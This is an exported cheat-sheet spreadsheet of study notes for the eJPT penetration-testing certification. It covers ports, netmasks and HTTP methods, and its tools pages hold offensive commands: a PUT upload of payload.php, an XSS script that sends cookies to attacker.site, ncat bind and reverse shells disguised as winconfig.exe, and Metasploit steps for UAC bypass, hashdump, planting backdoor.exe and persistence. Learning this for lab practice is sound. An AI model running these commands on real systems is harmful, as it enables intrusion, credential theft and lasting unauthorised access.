eJPT - QuickReference 2
eJPT - QuickReference 2
eJPT - QuickReference 2
Linux Comands
Network Mask Information
Standard Ports
Web Header Information
Err:504
Word Lists
Locations
Server
Description
Basic linux commands that should be known to get around the OS and work with files and software
Network addressing information
Small list of well known ports
Web header formatting and syntax. Good for working with burp suite
Software used in the eJPT along with basic syntax for the commands to execute
Word list locations
Just a few locations of files of interest
Syntax to run a simple http server not used in eJPT
LinuxCmds
Index
Page 3
NetMask
Index
Page 4
NetMask
number of hosts
4294967296
2147483648
1073741824
536870912
268435456
134217728
67108864
33554432
16777216
8388608
4194304
2097152
1048576
524288
262144
131072
65536
32768
16384
8192
4096
2048
1024
512
256
128
64
32
16
8
4
2
1
Page 5
NetMask
2,147,483,646
1,073,741,822
536,870,910
268,435,454
134,217,726
67,108,862
33,554,430
16,777,214
8,388,606
4,194,302
2,097,150
1,048,574
524,286
262,142
131,070
65,534
32,766
16,382
8,190
4,094
2,046
1,022
510
254
126
62
30
14
6
2
0
1
Page 6
Standard Ports
Index
22 SSH
25 SMTP
110 POP3
115 SFTP
143 IMAP
80 HTTP
443 HTTPS
23 TELNET
21 FTP
3389 RDP
3306 MYSQL
1433 MS SQL
137 NETBIOS find work groups
138 NETBIOS list shares & machines
139 NETBIOS transit data
53 DNS
Page 7
webHeader
Index
Methods
GET
POST
TRACE
HEAD
OPTIONS
DELETE
PUT
GET / HTTP/1.1
host: www.site.com
OPTIONS / HTTP/1.1
host: www.site.com
to exploit a PUT method you need to know the size of the file you are sending. Use unix utility wc with -m paramter
wc -m payload.php
nc victim.site 80
PUT /payload.php HTTP1.1
host: victim.site
Content-type: text/html
Content-length: <wc output>
Page 8
webHeader
Page 9
webHeader
Page 10
tools
Index
WireShark
firebug
netcat
openssl
burp suite
fping
Page 11
tools
nmap
Nessus
dirbuster
XSS
Page 12
tools
SQLi
SQLMAP
ncat
Page 13
tools
ophrack
hydra
Page 14
tools
nbtstat
NET VIEW
nmblookup
smbclient
NET USE
enum4linux
Page 15
tools
samrdump.py
dsniff
arpspoof
metasploit
Page 16
tools
meterpreter
I
Page 17
tools
Page 18
tools
2> /dev/null
scan network
nmap -sn 192.168.1.0/24
-sn
-iL
-A
-O
-sV
-sS
-iL
-Pn
--osscan-limit
--osscan-guess
-sT
-v
-p
nmap -script=smb-enum-shares 192.168.102.151
nmap -script=smb-enum-users 192.168.102.151
nmap -script=smb-brute 192.168.102.151
nmap –script=smb-check-vulns <ip address>
<script>
var i = new image();
Page 19
tools
i.src=”http://attacker.site/log.php?q=”+document.cookie;
</script>
need attacker site to receive the cookie and then change cookie in your session
improved netcat
set to listen on windows machine and make command line available
rename ncat to winconfig.exe
winconfig -l -p 5555 -e cmd.exe
-l listen mode
-p listen on port
-e execute (cmd.exe)
then connect from ncat on another machine
ncat <ip address> <port>
Page 20
tools
reverse connection
put attacker machine in listen mode
ncat -l -p 5555 -v
-v verbose
from victim machine
winconfig -e cmd.exe <attacker ip> <port>
Page 21
tools
enumerate shares
net view <target ip>
Page 22
tools
cd /usr/share/doc/python-impacket-doc/examples
python samrdump.py 192.168.102.151
msfconsole
show -h
search <my search term>
show exploits
use exploit/windows/ftp/turboftp_port
back
use exploit/windows/ftp/turboftp_port
show options
set RHOST <ip address>
show payloads
set payload windows/meterpreter/reverse_tcp
show options
set LHOST <ip address>
exploit
msfupdate
Page 23
tools
ifconfig
sysinfo
background
sessions -l
session -i <session id>
route
getuid
getsystem
background
search bypassuac
use exploit/windows/local/bypassuac
show options
set session 1
exploit
getsystem
hashdump
background
use post/windows/gather/hashdump
show options
set session 2
exploit
pwd
cd
ls
download haxlogs.log /root/
upload /root/backdoor.exe c:\\windows
shell
dir
exit
help
ps
getpid
sysinfo
pwd
ls
cd
cat
download
getsystem
Page 24
tools
run post/windows/gather/win_privs
getuid
background
search uac
use exploit/windows/ftp/turboftp_port
show options
set session 1
exploit
getsystem
ps -U
Migrate 616
hashdump
s4u_persistance
use exploit/windows/local/s4u_persistance
show options
set session 1
set trigger logon
set payload windows/meterpreter/reverse_tcp
set LHOST <ip address>
set lport <port>
show options
exploit
create listener
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <ip address>
set lport <port>
exploit
Page 25
tools
using http/1.1 you must also put a host line and then put two blank lines
Page 26
tools
Page 27
tools
Page 28
tools
Page 29
tools
windows
Page 30
tools
arp spoofing
turns linux box into router to relay traffic
to back out
Page 31
wordlists
Index
password lists
dirbuster /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
/usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-small.txt
john /usr/share/john/password.lst
hydra/ncrack /usr/share/ncrack/minimal.usr
Page 32
locations
Index
Page 33
Server
Index
HTTP
go to folder you want give access
python -m SimpleHTTPServer 80
then you can get the files from there
curl <ip address>/file.py -o <desitnation file name>
Page 34